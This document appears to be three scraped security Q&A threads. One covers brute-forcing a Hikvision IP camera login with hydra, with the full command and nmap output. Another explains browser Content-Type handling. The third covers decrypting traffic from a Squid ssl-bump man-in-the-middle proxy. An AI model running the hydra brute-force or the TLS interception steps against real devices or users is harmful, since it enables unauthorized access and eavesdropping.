All the examples I have looked shows only how to do a brute force for the extension .php?. The login page of the IP camera I am testing however is in .asp , and I do not see any <form> in the source code of the login.asp page. The login url created when you visit http://192.168.1.3:85 is

  http://192.168.1.3:85/doc/page/login.asp?_1503752871126

(GET method is used, checked via Wireshark,
HTTP requests to /PSIA/Custom/SelfExt/userCheck)

I need your help with the below:

Can I use brute force using hydra for .asp ?
If yes how does the command look like ?  I used

  hydra -l admin -P wordlist.txt 192.168.1.3 -s 85 http-form-get '/PSIA/Custom/SelfExt/userCheck:lausername=^USER^&lapassword=^PASS^:User name or password is incorrect:H=Authorization: Basic YWRtaW46QkM1MUZFOTUyRkI3' -V

If not how can I get access to this IP camera like a cracker?

Other Information nmap:
OPEN PORTS:

23 - telnet BusyBox telnetd,
85 - http Hikvision IP camera httpd,
443 - ssl/http Hikvision IP camera httpd,
554 - rtsp Hikvision 7513 POE IP camera rtspd,
7001 - afs3-callback?,8000 - http-alt?,
8200 - trivnet1?

kindly advise.

"All the examples I have looked shows only how to do a brute force for the extension .php?. The login page of the IP camera I am testing however is in .asp"

extension of .php vs .asp should not matter.

  I do not see any <form> in the source code of the login.asp page.

how did you come up with the URL /PSIA/Custom/SelfExt.... etc?

  hydra -l admin -P wordlist.txt 192.168.1.3 -s 85 http-form-get
  '/PSIA/Custom/SelfExt/userCheck:lausername=^USER^&lapassword=^PASS^:User
  name or password is incorrect:H=Authorization: Basic
  YWRtaW46QkM1MUZFOTUyRkI3' -V

You appear to be using a mix of Forms based authentication and Basic Authentication with this command.  Also, you have expectations for two variables to be filled in with ^USER^ and ^PASS^ and are only supplying one variable as the file wordlist.txt just has one field.  How did you determine that this login is using Basic AUTH?  Does the basic auth pop up when you try to log in from login.asp?


Why a pdf is opened when I click a url when the url specifies its a zip ?Is this link trustworthy? So basically the href of the anchor tag is something like hxxtp://www.xxxx/xx.zip and the anchor tag text visible to user is something like xxxx.pdf ,when user clicks it Mozilla opens it as a .pdf but actually it is a .zip.

My doubt: Why is firefox opening it as a pdf when the url says it's a .zip ,does firefox read the header of the file and decide if its a pdf or a .zip ,is this not fooling a user into clicking a .zip, although he thinks that it's a pdf?

There are three seperate things at play here:

The <a> text visible to the user (which can be anything and doesn't need to be a valid link)
The URL itself, inside the href attribute of the <a> tag
The actual content being served at that URL

Browsers do not use file extensions to determine the type of the content being served. Instead, they inspect the Content-Type header in the HTTP response that the server sends.

It is completely possible (albeit surprising) for an HTTP server to be configured in such a way that a .zip will be served with a PDF type (application/pdf), in which case the browser will try to open it as a PDF file (whether it succeeds in doing so depends on whether the contents of the file form an actual, valid PDF). Likewise, it is completely possible for a server to serve a .pdf file as a ZIP file (application/zip), in which case the browser will try to open it as a ZIP file. The extension of the file is irrelevant; it's the Content-Type that the server reports that counts.


Sniffing From Squid SSL I created a Squid proxy and a self-signed SSL certificate. The SSL certificate on the server is a private certificate linked to the ssl-bump feature. I am using tshark to dump the SSL traffic, but I can't sniff with tshark. For example my tshark command is:

tshark -o "ssl.desegment_ssl_records: TRUE" -o "ssl.desegment_ssl_application_data: TRUE" -o "ssl.keys_list: 209.190.x.x,443,http,/etc/squid/ssl/file/squid.key" -o "ssl.debug_file: /tmp/.wireshark-log" -i eth0 -R "http.request.method==GET or http.request.method==POST"

I know that squid works (and I can sniff all data from http), and I can see the log of https site in /var/log/squid/access.log but I can't sniff full data of https. I also know Squid becomes a man-in-the-middle in this scenario and makes 2 SSL keys. One between the client and squid, the other between squid and the server. I can't sniff the data between the client and squid but I think I can sniff data between server (me) and squid.
How can I sniff it? Is there any alternative for tshark?

With SSL Bump, Squid runs a Man-in-the-Middle attack between the client and the server; it poses as a fake server with a fake certificate when talking to the client, and as a fake client when talking to the true SSL server. Squid thus obtains all the data. If you want to see what Squid sees, then it seems that the best option would be to simply ask Squid to send you a copy. Apparently, this is at least theoretically feasible through the ICAP feature: it is a way for Squid to do just that. Antivirus software links to Squid through ICAP, and inspect both the HTTP message contents and the headers.

Otherwise, if you do not have the help of Squid, then you must understand what occurs at the SSL level. In particular, tools ssldump can decrypt captured SSL traffic only if the following conditions are all true:

The decrypting tool is given a copy of the server private key.
The decrypting tool supports the cryptographic algorithms used for the connection.
The cipher suite selected by the server (based upon what the client supports and prefers) uses an RSA-based key exchange. With "DHE" cipher suites, the actual key exchange uses ephemeral Diffie-Hellman keys, and the server private key is used only for signatures; having a copy of that private key would not help here.

In your case, there are two SSL connections, one between the client and Squid, the other between Squid and the genuine server. If you have a copy of the server key, then you can concentrate on the latter, and forget everything about SSL Bump and Squid. However, in a more general case, as the sysadmin of Squid you control Squid, not the target server.

With SSL Bump, Squid generates a fake server certificate when talking to the client. If you can get a copy of the private key for that fake certificate, then you should be able to apply ssldump on the client-to-Squid connection. As described here, the tool that Squid uses to generate fake certificates is configurable, so you could use your own, which generates the certificate (e.g. with OpenSSL) and records the private key somewhere, so that a captured trace can be decrypted later on.

For the cipher suite, this seems to be doable with the Squid https_port directive, which accepts a "cipher=" parameter. As said here, the value of that parameter is passed directly to the underlying SSL library that Squid uses, and that's OpenSSL.

See also this forum thread where someone is apparently trying to do the same thing as you.